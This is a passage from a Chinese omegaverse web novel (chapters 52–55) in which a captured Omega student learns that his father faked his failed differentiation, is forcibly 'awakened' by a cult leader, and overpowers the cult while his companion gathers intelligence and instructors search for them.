刀疤和杨刀便率领着一众集结的Alpha拦在中间。 顾识云背后汇聚起数十道风刃, 扭曲的气流将他眼底情绪扭曲成阴沉的漩涡,要将一切碍事的东西都摧毁殆尽。 原绣临走前, 轻轻巧巧地笑道:“手下留情哦, 不然小水母可就要死在他的男朋友手上了~” 顾识云挥出风刃, 级别低的Alpha很快倒下一片, 却没有人因此毙命, 只是捂着伤口翻滚着惨叫。 血液从无数人身下蜿蜒流至顾识云脚下, 空气中弥漫着浓烈的血腥气, 男人却浑然不觉, 只阴鸷地死盯着原绣在一众Alpha掩护下将昏迷后的时茧带入观光电梯。 顾识云气血翻涌, 只能保持仅剩的那一丁点儿理智, 无论涌上来多少Alpha, 都被他以虐杀的方式折磨得仅剩一口气。 他恨不得直接摧毁了这个罪恶的地下城, 把这些带走时茧的人统统绞杀成肉泥,但原绣临走前那一番威胁却又让拥有着绝对力量的顾识云为此投鼠忌器,就算这些小喽啰根本就不足为惧, 却也不得不多费一番功夫。 而最可怕的是,顾识云的软肋完全被原绣拿捏, 他甚至连验证一下对方说的话是真是假都不敢,他可以为了时茧去死,付出任何代价都不足惜,可顾识云做不到承受时茧会有哪怕一丁点危险的可能。 更何况眼下…… 顾识云痛苦地闭上眼,他不知道自己遵从时茧决定的这个选择究竟有没有做错, 但事到如今,他也只能尽可能地完成好对方交给自己的任务,不让对方身陷险境的牺牲沦为废棋。 顾识云睁开眼,冲上来的一个Alpha被他死死地抓住脖子,因窒息而在那双坚如磐石的手上留下血淋淋的抓痕,又在即将断气的前一秒,被狠狠地丢向墙壁,砸断脊椎瘫软地倒在地上。 顾识云被源源不断涌上来的Alpha围在中间,即使同伴惨痛的教训就在眼前发生,也阻挡不了他们的前仆后继。顾识云一手操控AS,又投入近身肉搏之中,血丝爬满他怒睁到极致的眼球,全身都溅满了来自敌人的污血,戾气如有实质地环绕在他周围,让这个白发红瞳的Alpha如同地狱爬上来的死囚。 ——一个小时前,车厢夹层内。 顾识云的手掌覆盖在时茧细韧的腰肢上,借着身形的遮挡,拇指悄悄溜进衣服里,在细腻的皮肤上留下规律性的摩挲。 ‘有监听器。’ 时茧软若无骨地依靠在顾识云怀里,一副昏沉绵软的表情,双手也紧紧地搂着顾识云的脖颈,实则用同样的方式在与他进行着更加隐秘的交流。 时茧“说”,‘他们冲我来的。’ 顾识云:‘有信号干扰,无法联系到教官。’ 时茧:‘基地一定有对外沟通途径。’ 沉默会儿后,顾识云定定地看着时茧,这次是直接告诉他:“这很危险。” 时茧神色如常,镇静道:“但我们需要收集更多线索不是吗?既然是Omega极端崇拜组织,那他们不会伤害我的,说到危险,也该是你需要担心才对。” 那双红色的眼眸静静地看着,衣服下带着枪茧的手指温柔摩挲着皮肤,带来一阵又一阵过电般的感觉。 ‘需要我做什么。’ ‘搞清楚他们这个组织的所有部署,最好是计划的一切。’ ‘那你怎么办。’ …… 顾识云忍不住说:“你知道这么做会有风险的,如果我……如果我来不及找到你,你真的出事了,那我……” 顾识云说不下去,他用无比沉重的眼神专注地看着时茧,从身到心都很抗拒这人冒险又疯狂的计划。 短暂的沉寂之后,时茧坐直了身体,微微撑起来一点,直视着顾识云的眼睛,轻轻笑了一下:“不会比二次分化之后我经历的任何一个时刻更糟。” 顾识云夸口过的天生的指挥官,走马上任第一次任务,就是告诉他,一切按这些喜欢的套路演戏就好了。 然后,不用管他,在尽可能快的时间里弄清楚整个组织的内部结构,最终找到将它们汇报出去的办法。 他们假装恩爱情侣的表演十分拙劣,但没关系,因为这本身就只是一个诱饵,需要这个诱饵来勾引鱼儿上钩。时茧最想要得到的从一开始就非常明确,他要知道这个组织最核心的秘密。 而目前看来,他这一手兵行险着收益巨大,这个组织的秘密,居然真的和他密切相关。 只是时间拨回此时此刻,正如婴儿般蜷缩在营养罐中的时茧并不能再进行任何谋划,他全身赤裸、皮肤雪白,蓝色的长发也完全散开,随着营养液中的气泡偏移起伏,在幽蓝的灯光下,仿佛一朵在深海中闪烁着蓝紫星光的海月水母。 纤细、脆弱,又过分美丽,像一场潮涨潮落怅然若失的幻梦。 藏在黑色手套下的手掌贴上透明的玻璃壁,倒映一双出迷恋、欣赏、极度狂热的眼睛,似乎一个对主神极端虔诚的忠教徒那般,以一种顶礼膜拜的眼神看向营养液中沉睡的少年。 他喜不自禁,乃至于落下泪来,激动地喃喃自语道:“终于等到了……这一天早该来的,你一定会成为这个世界里绝无仅有的真神。” “滋—滋—” 男人身后的装置台上,通讯设备亮起白光,但在那片刺眼的投影之中并没有人影,只有一道经过特殊变音处理的威严男声。 “A先生,你准备再欣赏多久?” 被称为“A先生”的男人甚至没有回头,仍旧专注而崇拜地看着时茧,一开口也是刻意沙哑难听的声音:“嘘,不要吵醒他。” 那道声音阴沉沉地笑起来:“我帮助你完成你的造神实验,为此不惜冒着被时藏锋和新议长发现的风险,可不仅仅只是为了方便你能随时随地近距离地给你的神做礼拜。” 那声音一下子冷下来,严厉且不容拒绝问:“我要的东西呢?到底什么时候能成功?” A先生终于转过身,缓缓走到光明的地方,镜子中他被一身黑袍完全包裹,只看得出身形高大,并不像是一个Omega。 与他做交易的人显然并不在意一个Omega极端崇拜组织的首领究竟是什么性别,甚至不在意对方和自己一样也在隐瞒身份。 他只想自己的计划顺利推进,将这个如庞然巨物的联邦收入囊中。 “只要实验顺利,一个从未生育过的S+Omega母体,诞下你想要的最强‘’鸠王’不过是唾手可得,有什么好着急的呢?现在最重要的事情,是替我拦住那些准备过来救人的碍事东西,不是吗?” 那道声音沉默了会儿,听起来安定些许,但仍旧催促道:“时藏锋给他儿子植入的是信号最稳定的定位器,能够实时分析植入者行动轨迹习惯,不可能出现故障。就算你暂时能够屏蔽它的实时位置显示,但在同一个地方待久了也一定会被发现端倪——哪怕你能够顺利解决皇室的那个人,不让他对外发出求救信号,时茧失踪的消息也拖不了多久。姓时的发起疯来到底有多难缠我想你应该比谁都清楚,即使是我也很难招架得住,所以如果还想计划顺利推进下去,你最好不要再和我耍嘴皮子,尽快着手完成针对时茧的性别转换。” “我必须纠正你一点,我要对时茧做的不是性别转换,现在的生物科学还没有强大到将性别随意逆转的程度,我只是要安排一场被人为打断的二次分化而已。不是转换,而是觉醒,他原本就该是S+的Omega。”A先生的语气陡然阴狠一瞬。 “你说什么?!——”即使做过变声处理,那道声音也有着明显的停滞,过了几秒,才又平静地命令道:“解释。” A先生倒也不计较对方的上位者傲慢,笑道:“时上将确实很厉害,瞒过了所有人,连时茧自己都不知道,他根本就没有进行过二次分化,所谓的‘意外’只不过是一场精心策划的把所有人都戏耍过去的骗局——所以医生做的一切努力当然都没有用,把Omega的信息素萃取液注入Omega体内,唔……和输液有什么区别。” 营养液中鼓起一串小气泡,纤长浓密的睫毛颤抖着眨了眨,A先生慢步踱过去,声音温和道:“这么快就醒了,真不愧是刚一生下来就被预测为S级的Omega。” 时茧在如水一般密度的营养液中很难睁开眼,但意识早在二人交谈时就已经断断续续地回笼,那些不为人知的极密它有着听清楚了、有些又没听清楚,刚开始还只是心惊于这两人的极端和疯狂,但最后提到时藏锋,却是让他完全愣住了—— 什么是他的身体里有定位器,什么又是他根本没有进行过二次分化,意外也从来都不是意外?!那他为此而经历过的那些纠结、痛苦、愤懑,那些不堪的种种,究竟又算什么?! 突如其来的信息量如沉重而尖锐的冰棱。从正中直刺入时茧的眉心,他在那一瞬间感觉到遍体的寒冷,忍不住将自己抱得更紧了一些,而那个似乎知道一切真相的A先生却仍嫌不够般,走近了接着说:“其实那些看似隐秘的蛛丝马迹,都放在了阳光下闪烁着光芒,不是吗?不然怎么解释,一个E级Alpha的天赋如何在极短的时间内学会那样精湛而致命的刀法,一个E级Alpha的精神强度,又怎么可能撑得过连续几个月的感官剥夺呢……” “想说这是奇迹对不对,可奇迹出现一次之后还会出现第二次吗,虽然我愿虔诚地相信这个世界所有的奇迹都会降临在您身上,不过明显是人力刻意为之的结果,最好还是不要冠以奇迹之名吧,这明明是在玷污奇迹二字嘛。” A先生似乎看不见时茧脸上挣扎痛苦的表情,只是轻柔地安慰道:“就当做了一场噩梦吧,梦醒后,你就可以拿回被你父亲剥夺的,那原本属于你的一切。” 几滴眼泪从少年紧闭的眼睛中落下,悲伤从四面八方潮水般涌来,将他彻底席卷其中。 第53章 第 53 章 真相。 下午六点, 临时驻扎地—— 沈行川核拿着核销假条来找牧野,后者边翻看边问:“人都回来齐了吧?” 沈行川犹豫一阵后,如实答道:“明面上的都齐了, 但……” 牧野心里涌上不妙的预感, 眉头一下紧皱起来:“别支支吾吾的,有话直说。” 沈行川无奈道:“但, 时茧不在正式的小队名单里, 所以他就算出去也不用请假条。” “他出去了?!” “许柏说看到他和纪察部的顾学长换上便装, 一起出去了。” 牧野一惊, 猛地站起来:“怎么现在才跟我说!他什么时候出去的, 现在回来没有?” 沈行川摇摇头, 为难道:“就是因为直到现在还没回来, 所以我才……” 牧野心头一紧, 一个“完了”的念头油然而生, 他忙说:“那赶紧联系啊, 让他立刻回来!” 沈行川面露难色:“联系过好几次了, 都没有人回应, 他们从营地大门出去后,也就只有在北步行街有人看过一次,之后的行踪无人知晓。” 牧野这下是真急了, 一边往帐篷外走,一边让沈行川赶紧给部队那边打电话, 问问他们有没有顾识云的行踪。 然后手刚伸出去,还没碰到帘子,它自己就往上面卷起来了,一个人影逆着光走进来,听声音是温隅安的:“现在任何人都不知道顾识云和小茧的下落, 你想问别人,我倒还想问问你,当初嘱咐过不要让他离开军校,你不是承诺过一定会做到吗?现在这么快就食言了?” 牧野脚步一顿,没想到温隅安来得这么快,不爽他礼貌下的冷嘲热讽,却又找不出话来反驳,没好气道:“冲我发什么阴火,人找不到了那就去找啊!” 温隅安眸色阴沉:“现在只知道人最后消失的地方在北步行街,我已经用父亲的上将权限拿到了他出发路线包括出现过的地点的所有监控视频,驻军正在召集人手检查监控视频,但这个工作量太大,一时半会儿根本来不及找出线索。” 牧野冷静下来:“顾识云呢?他怎么交代?两个人多半是一起失踪的。” “那是皇室的事。” 沈行川干站在一边,已经完全被两位教官忽视了,一会儿上将一会儿皇室,他听得云里雾里,总觉得自己好像撞破了什么联邦机密—— 听起来这么要命的东西,可以这么轻松随便地在他面前说起来吗!!! 他正腹诽,手腕上的通讯仪忽然响动两下,一句“顾学长的电话”还没说完,温隅安迅速冲过来,攥住沈行川的手便用力取下,没有丝毫照顾一点点的意思,痛得沈行川龇牙咧嘴。 温隅安接通,但电话那头只有激烈的打斗声和近在咫尺的呼吸声,他着急之下连一向温和的人设都懒得再伪装,疾言厉色地追着问:“顾识云!小茧在不在你身边?!你们现在在哪里,马上回复,我们立刻带人赶过去!!!” “在—滋—滋—” 温隅安、牧野、沈行川等人都急切地等待着顾识云回答,然而一阵电流声后,电话突然被挂断,再往那边拨回去,也一直只剩下机械重复的“您呼叫的用户暂时无信号,请稍后再拨”。 希望落空,三人脸色都是一滞。 牧野懊恼地一拳砸在桌子上,把笔、纸都震得飞起来:“信号干扰!他们到底是去了哪里!” 温隅安深吸口气,强压下心底的不安,把那块通讯仪紧紧握在手里,缓了缓后,语气慢慢镇定,但细听仍带有一丝颤抖:“我去找技术科的,让他们抓紧破译这通电话从哪里打出来,时间不等人,必须越快越好!” 他转身就走,脚步越快心跳就越慌乱,比得知时茧的二次分化出现意外那一次还要惶恐十倍。 可同时又忍不住安慰自己,只要时茧和顾识云在一起,一个S+的Alpha,总归能保护好身边人的。 但愿……不要出什么事。 * 顾识云从大厅一路打下去,翻完地下一楼才终于找到放置信号接收器的房间,然而这些Alpha仗着他不敢下杀手,前仆后继地扑上来,致力于制造那些没有任何作用但足够烦人的麻烦。 他刚把卫星电话拨出去,还没来得及说出地址,就被一枪打烂卫星电话。 杨刀冷笑道:“不会那么容易让你阻止A先生的计划的。” 顾识云皱眉,这个A先生明显就是极端组织的头目,时茧现在多半就在他手里,能那么清楚地知道时茧的秘密,一定是他身边很亲近的人—— 但到底是谁。 * 时茧睁眼,再次醒来已经不在漂浮无依的营养罐中,身下是坚硬冰冷的手术台,头顶的大灯刺激得他不断溢出眼泪。 他想动一动手指,身体却僵硬得如同冻住般,根本动弹不得,连转动眼睛都很是艰难。 相似的场景让他想起半年前在手术室里抢救的情景,那种灼烧的疼痛仿佛再一次从他骨子里升腾而起,疼得他想要蜷缩起来都做不到。 余光中一道黑影靠近,时茧只能眼睁睁地看着他抬起自己的手腕,打入一管透明冰凉的针剂。 “呃啊……” 他吃痛地泄出一丝呻.吟,无比清晰地感觉到那液体正顺着血管迅速地蔓延到五脏六腑,最后带着全身的血液一齐冲上那个退化的腺体,顿时升起一种强烈而又难耐的涨痛感,仿佛要把那块青涩的皮肉冲破一样。 A先生动作轻柔抚去时茧额头渗出的冷汗,语气像哄小孩子般温柔:“忍一下就好了,很快你就能重新拿回失去的一切。” 时茧难受地不住摇头,那针不明液体打进去后,一会儿很冷想盖被子、一会儿又热得想要脱衣服,后颈涨得十分难受。 A先生:“别害怕,已经用很多个Omega实验过了,不会对你的身体造成任何伤害。” 时茧发现自己终于能够说话,咬着舌尖逼自己保持清醒,质问道:“你,到底是谁!” “这不重要,你只需要知道,我从始至终都崇拜着你,是你最忠实的信徒就好。”A先生勾起唇角,温和的笑道。 时茧冷笑一声,大骂他就是个靠炒作宗教搞极端组织的反人类分子,他骂得痛快,把那些担心和害怕全都发泄出去,只觉得连涨痛难安的腺体都舒服了不少。 然而面对时茧故意为之的挑衅,A先生却看不出任何生气的迹象,依旧是那副耐心温和的语气:“你的父亲不和你商量,就擅自决定剥夺你成为‘雀母’的机会,而你那些视作至亲的兄长好友,只因为所谓的‘二次分化意外’,就对你冷眼相待甚至落井下石,他们根本就不是真的爱你,也不配爱你。只有我和那些忠实的信徒们始终愿意相信你就是那个真正的救世主,我们是这样的信奉你,即使你憎恨我们,只要能让你成为古往今来绝无仅有的S++Omega,这一切就是值得的。” 时茧厌恶道:“疯子!” A先生笑道:“心甘情愿为真主付出一切乃至生命的所谓信徒,本身就是一群疯子——除了疯子,谁还会这样狂热地迷恋你呢?” 不知道是不是那管针剂的原因,时茧在熬过最开始那阵剧痛后,反倒慢慢平静了下来,除去似乎能听到爆破声音的腺体仍在被什么东西冲击之外,他没有感觉到其他的异样。 A先生适时说:“你看,我没有骗你吧。觉醒药剂比你父亲给你打的抑制剂温和多了。你那次疼成那样,我知道后真心疼。” 即使之前就已经得知真相,但再听一遍,时茧的心脏依旧隐隐作痛。 他不愿意看着A先生,将头偏向另外一边。过了一会儿,一道冰冷的泪水划过鼻梁,带着些许泣音,时茧问:“我身上到底都发生过什么。” A先生惊喜道:“我就知道你会选择相信我的!” “我的二次分化……到底怎么回事。” A先生大喜过望,迫不及待地说:“当时你不是已经都听到了吗?你根本就没有进行过二次分化,你的突然昏迷,也只是被你父亲的人带走,被注射了抑制剂,让你推迟二次进化,再用大量的Alpha信息素萃取液把你伪装成一个临时的‘Alpha’。至于E级,你作为Omega的身体素质本来就和最低级的Alpha相差不远,被欺骗的腺体也自然而然随之退化,但伪装却骗不过你的基因和天赋,所以在军校里,你依旧是那么强大,精神力也坚强得令人赞叹。” 时茧眨了眨眼睛,干涩得逼出几滴生理眼泪:“我分明在手术室里抢救了那么久……” A先生平静的回答彻底击碎了时茧心底最后那抹不切实际地幻想:“那只是在给你做定位器埋入手术而已” 分明,那种被灼烧的疼痛那么真实…… 然而现在,有个人告诉他,你从来也没有进行过二次分化,你的Alpha身份是刻意伪造,所有这一切都是假的。 好荒唐,好讽刺,时茧苦笑的提了下嘴角。 可他经历过的那些屈辱和漠视呢,这些,难道不是真的? 是保护吗?父亲?你默默无闻地做着这一切,是想要我在日后得知真相,后悔任性,感激你的付出吗? 温隅安,你知道真相后,会不会也觉得很可笑? 时茧凄惨的笑声在手术室里响起,一声比一声高,最后狂笑不止。 发泄完后,他平静地,像具艳尸般躺着一动不动,很久之后才缓缓吐出最后一个问题:“什么是雀母。” 第54章 第 54 章 那是你弟弟?! “哦, 你说这个?实际上这并不是我的主意,我对那个人的计划也知之不多,但总体来说, 他的计划和我的理念有着很多相同之处, 而我也确实需要他的帮助,否则怎么能够这么顺利的把你带回来呢?”A先生笑了一下, “当然, 作为回报, 我也需要帮他找到一个最适合诞下最强高等异种的雀母, 以便他实现自己野心勃勃的杜鹃计划。” 杜鹃计划……雀母……异种…… 时茧像是一脚踏入某条急湍的河流, 他极力地想要将所有线索连起来, 但河流太急, 让他根本找不到哪里有漏洞。 可他确认这背后必定是一个极大的阴谋, 他必须阻止这一切发生! 身体大概是被打了麻醉剂, 时茧还是不怎么能动, 但他已经拼尽全力挣扎, A先生颇有兴趣地坐在一边观察, 笑眯眯地说:“你好像只很爱扑腾的猫咪,其实我更想劝你不要管那些人的事,毕竟无论联邦未来走向何处, 决定它的人本来也不是Omega,实在没必要替无关紧要的人操心。” 时茧握紧拳头, 咬牙道:“无关紧要?……从来就没什么无关紧要,像你这种思想极端的疯子,当然没有过有关紧要的人,所以你才能这么肆无忌惮的拿无辜的Omega做实验、和异种勾结!” A先生并不生气,仍旧温柔地替时茧整理着头发:“可每一个接受过我实验的Omega, 最终都获得了天翻地覆的改变,他们的基因等级比原来更高,留在这里也能享受到和外面完全不同的没有约束的生活,极端崇拜Omega的组织,当然是为了让Omega生活得更好的存在。你明明对自己Omega的身份这么认同,为什么偏偏对组织嗤之以鼻呢?” 时茧挣扎的动作停顿,A先生动作和言语间透露出来的那种亲昵让他几乎确信这一定是和自己相熟的人,他推测过很多次对方究竟会是谁,但推测到最后,他都总是一遍又一遍地把那些可疑人员推翻,无论是谁,他都承受不起这种被至亲至近之人背叛的痛苦。 而这种痛苦较之身体上的更甚十倍。 中途有人进来,征得A先生同意后耳语一番。 时茧留心观察,A先生虽然戴着面具,但情绪明显有一瞬间的阴沉,由此推断顾识云的进展应该还算顺利。 A先生的笑声在时茧听来阴测测的,带着某种偏执和扭曲:“你看起来心情还不错?因为猜到那个白发Alpha在给我捣乱了?不过还是别高兴太早了,他是来不及在你彻底觉醒二次分化之前顺利找到这儿来的。” 时茧扭头避开他伸过来的手,对此不发一言。 A先生笑道:“我还有要紧事处理,你听话一点,在这里乖乖地等待药剂彻底发挥完作用。” 等退出低温的手术室后,A先生在时茧面前始终和善的神情瞬间变得冷漠,对等在一旁的手下招招手,低声道:“让那些Alpha去缠住顾识云就够了,通知所有Omega立刻销毁基地里有关组织的所有材料,销毁完成后即刻转移,不要恋战。” “是。” “军方有动静了吗?” “已经确定失踪,但应该暂时没有查到这里。” “不一定。”A先生淡声道,“时藏锋不会那么容易让旁人猜到他想做什么,就算找到位置,多半也不会大费周章打草惊蛇。那个人虽然答应帮忙阻碍他们的进度,但能起到多少作用还尚未可知。” 他想了想,吩咐道:“盯紧军方那边,我现在要去看‘杜鹃蛋’激活得如何。” “是。” 与此同时,顾识云浑身是血闯上二楼,但基本都不是他的,围追堵截的Alpha显然少了一些人——S+的Alpha就算没有动杀心,轻轻一挥手指也足够那些中低等级的Alpha丧失行动能力了。 杨刀气喘吁吁,身上多出伤口,皱着眉头回顾这人一路以来的动向。他一开始本以为对方着急救时茧,可几轮交手下来,却发现对方比起救人,更像是在…… 逛街? 没错…… 杨刀觉得,眼前这白发Alpha,分明就是在大摇大摆地逛街,就比如现在,他已经开始搜寻地下城二楼—— 难道只是为了找到和外界联络的办法吗? 刀疤没这么多想法,挥起铁棍便冲了上去,顾识云轻轻一个响指,便双腿一重、膝盖狠狠跪在地上。 杨刀眼神沉重:“不愧是S+。” 顾识云一边收拾着这些烦不胜烦的苍蝇,一边担心时茧究竟被带去做了什么,恨不能立刻去三楼找到他。 但不能。 他控制着风刃把后方意图偷袭的两个Alpha挥到墙壁上,纵使心急如焚,也不得不听从他的指挥官下达的命令。 他必须全身心地相信自己的指挥官。 临时营地—— 沈行川急得左右转圈,余宸冷笑道:“早说过姓顾的就是个扫把精,还非得让那家伙跟他一起,现在好了吧,两个人一起失踪,我倒要看看拖到什么时候才能有消息。” 沈行川都顾不上他的身份了,急眼道:“谁能未卜先知?再说了和谁玩是小茧的自由,你有什么权利对他的交友指指点点——” “找到位置了!!!” 技术人员激动地大喊一声,沈行川一时没反应过来,嘴皮子还在秃噜,余宸却已经冲了上去:“在哪?!我立刻带人过去!” 沈行川:“?” 你什么时候这么担心时茧的安危了,你俩不宿敌吗,不死对头吗,你不恨他恨得带头搞霸凌吗? 怎么一副比他还急,还担心时茧的样子? 技术人员被余宸摇得晕头转向,忙道:“在东郊区!和第一军区接壤的地方。但具体坐标查不到,通讯时间太短了无法定位。” 沈行川眼睛一亮:“太好了!我这就去告诉余教官和温教官!” “余宸?你干什么去?!” 余宸头也不回:“等他们层层上报,黄花菜都凉了,我先带陆空指的过去排查范围。” 沈行川喊道:“你们不要打草惊蛇!” “还没这么蠢。” 技术人员看懵了,指指速度快到已经看不见背影的余宸,小心翼翼地看向明显是同伙的沈行川:“擅自行动……真的不会有问题吗?” 沈行川对他微微一笑:“会啊,所以别人问起来,你最好不要乱说哦。” “!”技术人员背后一冷,忙道:“不会不会,救人要紧,救人要紧。” 沈行川这才满意地点点头,边拷贝资料,边笑吟吟道:“这就对了嘛,就算事后问责,也不能怪我们对不对?你刚才也看到了,我拦了,但没拦住——毕竟余宸的余是第一军区总指挥官余维上将的余,他想做什么,谁能拦得住他呢?” 技术人员连连点头,可怜弱小又无助,并不敢发表任何意见。 沈行川第一时间赶回陆空指的营区主帐篷,一路上比去的时候多出来很多面生的全副武装的士兵,他心下一沉预感不好,报告后进去一看,果然如此。 温隅安一个眼神过去,沈行川按下内心的急切,询问般看向被几个卫兵按住的牧野。 沈行川故意大声道:“这是怎么回事?!你们为什么抓人!” 其中一位正在核对牧野身份信息的应当是这些人的上级,严肃地回答道:“根据调查,第一军校一年级生总军事教官牧野涉嫌违规操作外派名单,导致人员失踪,已经被上级下令暂时扣押起来,他的工作将由军方派人暂代。” 牧野挣扎道:“放开我!既然知道有学员失踪,那就应该先去找人,而不是过来抓我,这种时候你们临时换人会造成学员间人心动荡的!” 领队冷笑一声:“这不是你一个扣押犯应该操心的事儿,老实跟我们回去接受调查。” 沈行川向温隅安投去求救的眼神,后者默然片刻,对领队说:“希望你们有足够正当的理由,否则下一次这样被带走的我想就是在场各位。” 领队向他敬一个礼,公事公办的口吻:“理解您的心情,但军有军法,我们必须优先处理这位牧教官的违纪行为。” “那我弟弟呢?” 温隅安一语惊破沈行川,他比稽查队的还要震惊:“弟弟?难道你指的是时茧?……不对,不可能,等等……他也姓时……” 相比之下,稽查队的情绪恢复得更快,显然领队已经意识到自己接下来一个多棘手的差事,但话已经放出去,现在也不好收回了,只能硬着头皮道:“抱歉上尉,我们这边不负责学员人生安全,何况据我所知他只是和另一个人一起出去逛街,就算几个小时不见人影或者暂时性陷入危险也是很正常的情况,请您不要因为个人私事而浪费资源,军方和外派学员的指责是保护有被绑架风险的Omega,并非您的弟弟。” 温隅安点头,表情平静,看不出喜怒:“你说得很好。” 领队只觉得后背阴凉,像被什么毒物暗地中盯上一般,不敢再顶着莫大的压力与温隅安周旋,带着牧野匆匆辞别。 等他们彻底离开,沈行川憋了这么久的气才终于狠狠出来,急迫道:“好端端的教官怎么就被带走了!那现在怎么办,就算有大概位置,调不开人手,也不好找人啊!” 温隅安始终看向那些人离开的方向,声音冷得直让人打颤:“说明有人故意不想让我们第一时间找回小茧。” 沈行川这才意识到一直以来温隅安对时茧称呼的那种亲昵违和在哪里,他之前还以为这是老师对学生的欣赏,但如今看来……人家分明就是哥哥弟弟,相亲相爱一家人。 他叹了口气:“那现在怎么办,光是余宸带去的那么十几个陆空指的同学,根本搜不了那么大的范围啊。” “等吧,有人会出手的。谁让那是余维的地盘。” 温隅安冷冷一笑,黑曼巴自他膝盖蜿蜒而上。 第55章 第 55 章 觉醒S+。 时茧不清楚其他人的二次分化究竟是什么体验, 但他清楚这世界上应该没有人会和他一样,要进行“两次”二次分化。 第二次远比第一次的反应平和,痛觉主要集中在被体内血液不断冲刷着的腺体, 却也是一种可以控制的疼痛程度, 他能够清晰地感知到自己“退化”的腺体正在重新生长,或者说得更具体一点儿, 那个对于Alpha和Omega而言都很敏感的地方正在快速修复。 一种磅礴的、熟悉的能量在阔别半年多以后, 一点一滴地重新回到自己的身体里, 像滴滴春雨, 滋养着时茧千疮百孔的身体。 他手掌上那些触目惊心的疤痕神奇般消失不见, 仿佛从来没有经历过禁闭室里那痛苦的几个月, 信息素也不再有努力控制才不会泄露的无力感, 毫不费力就可以将它完全锁在腺体之中。 时茧尝试着夺回自己身体的主导权, 第一次没成功, 第二次就可以摆脱麻醉效果, 慢悠悠地坐起来了。 他握了握手, 仔细端详着自己的变化, 脑海中突然闪过一个念头—— 他重新恢复了Omega的身份,并且比最初的预测等级还要更高,信息素也能轻松碾压余宸。 时茧扯开嘴角, 冷冷笑了一下,脸上生出一种与美丽五官不符的狠厉气质, 让这份美丽看起来更有攻击性。 他向来睚眦必报,曾经在余宸这里得到过什么,就一定要十倍百倍地还回去! 时茧走下手术台,看守他的人里有Alpha也有Omega,为首之人正是将他绑来这里的刀疤脸, 见状欣喜道:“您居然这么快就苏醒了,觉醒过程完成得如此之快,果然是这世界上绝无仅有的S+Omega!” 其他人也都顺从地向时茧单膝跪下行礼,其内部等级森严可见一斑。 时茧压下眉眼,口若寒霜:“让开,别挡我的路。” 刀疤却只是保持着单膝跪地,手掌覆在心脏的姿势,虔诚地仰望着时茧:“在彻底为您献上一切之前,我必须听从A先生的命令,请求您留在这里,完成最后的雀母诞种。” 一双漆黑的军靴停在刀疤眼前,接着是张冲击力极强的漂亮脸蛋,此刻眼神冰冷、满含杀意地看着自己,就如同看一个死人。 “让异种从我肚子里生出来?”时茧冷笑道,“做梦。” 他站起身,刀疤庞大的身躯却应声倒下,死之前仍睁着一双圆圆的大眼睛,崇拜地看着那个在呼吸间隔断他脖子的人。 真幸福……居然死在这样强大的Omega手里…… 两旁的Omega失声尖叫,有治疗异能的Alpha扑过来试图保住刀疤一口气,同时焦急地对时茧喊道:“大人,请您息怒,千万不要对组织成员下死手啊!这样损耗的是您的生命力!!” 一把匕首破空而来,那瞬间旋转的轨迹在Alpha眼中如同慢放,不到一秒后,他如同刀疤一样,都死不瞑目地躺在血泊里。 时茧收回手,只留给手术室里这些Alpha和Omega一个冷酷的背影。 他走出手术室,环绕四周,方才发现这里就是离地面最近的第三层,也正是他之前抬头仰视时留心的没有外走廊的建筑之一。 很快就有人发现时茧竟独自一人出来,立刻从四面八方包抄过去,时茧不慌不忙地走到最中心的类似景观台的位置,抬起右手轻轻一按,众人便纷纷面露难色,膝盖一重,狠狠跪在地上。 不只是第三层的人,包括第一层那些躺在地上半死不活的Alpha打手、以及正在酣战的二楼顾识云和杨刀等人,同一时间全部抬头望去。 巨大的穹顶之下,蓝色长发高高飘起的Omega面容冷峻,正对外释放着臣服信号的信息素,幽香的小苍兰代替氧气,强势地进入在场每一个Alpha、Beta或是Omega的鼻腔,但对于绝大多数低等级而言,这绝不是什么心旷神怡的甜香,而是一种更加强制、更加霸道的等级压制—— B级以下的Alpha和Omega直接当场丢盔卸甲,难受地跪在地上大口呼吸;B级以上还能够勉强站立,但无非是强撑着才没倒下,却也已经完全丧失了战斗能力;到最后仅有极少部分A+还能勉力支撑,也不过就是堪堪控制住自己不要陷入被动发.情.期的程度。 这是一种完全碾压式的信息素等级压制,他们的信息素甚至没有释放的机会,就主动地、瑟瑟发抖地臣服在这份S+的信息素压迫之下。 时茧连AS都还没有觉醒,但仅凭这绝无仅有的等级,就已经足够他控制住在场的所有人。 连没有信息素的顾识云都躁动起来,与自己同样强大的雌性正在四处散发他的吸引力,这令保留野兽习性程度最深的S+Alpha感觉到内心焦躁,恨不能立刻去到心仪的雌性身边献殷勤,以确保能够与其颈吻相缠的只有自己。 杨刀只是个B级,此刻早已跪倒在地上面色潮红,本能地循着信息素降临的方向看去,如愿以偿发现了站在最高点睥睨终生的时茧,后颈处的腺体更加暴动,从未如此活跃过的产出着信息素,催促他立刻交.配,却又因为对方过高的等级而瑟瑟发抖地隐藏起自己。 而巅峰之上的时茧—— 他从未如此清晰地体验到何为压迫力,这一次,他也不再是那个挣扎着不可以跪下的人。 他成为了足以轻易地主宰他人生死、支配他人命运的神。 无论是谁,曾欺压过他的余宸,侮辱过他的温隅安,哪怕是——哪怕是,那个他痛于提起名字的人,所有人,都不再能够威胁到他。 但时茧并未狂喜,也没有自傲,他只是很轻地吐出一口气,轻得像是微风吹散一片云朵,他像接受自己“分化”成E级Alpha那样,接受自己分化成S+Omega的事实,就像接受一件小事在日常中发生那样,心境并无太大的波动。 他已经不再那么轻易地感受到愤怒、绝望,同样也不再那么轻易地感受到惊喜、疯狂,在控制了组织所有人之后,只是从高高的观景台一跃而下,飞舞着蓝色长发,降落在顾识云面前,激起一大片灰尘。 “收集了多少情报?” 顾识云被时茧所展现出的强势而短暂地晃了一下,随即将自己一路刻意收集到的信息简单汇总:“这个组织存在的时间,或者说发迹的时间并不长,有大动作也是从五年前才开始,核心宗旨是利用人力所能达到的技术将所有非Omega的性别全部改造成Omega,同时赋予无论是改造Omega亦或原生Omega后天更高的基因等级。但离奇的就是这些实验数据早在组织大肆活动之前就有了,并不是组织发迹之后才存在,初步判断这些资料都与一个‘杜鹃计划’有关。” 提取到熟悉的字眼,时茧眼神一沉,严肃道:“这个‘杜鹃计划’和异种息息相关,牵扯过深,必须要尽可能收集到多的情报——二层你已经全部查看完毕?” 顾识云点头:“也联系了离得最近的一只援救小队和军方,他们应该很快就能赶到,配合我们拿下这个组织。” 时茧环视一圈,那些人在他的信息素等级压制之下已然溃不成军,没有几个级别非常高的,估计只是些弃子。 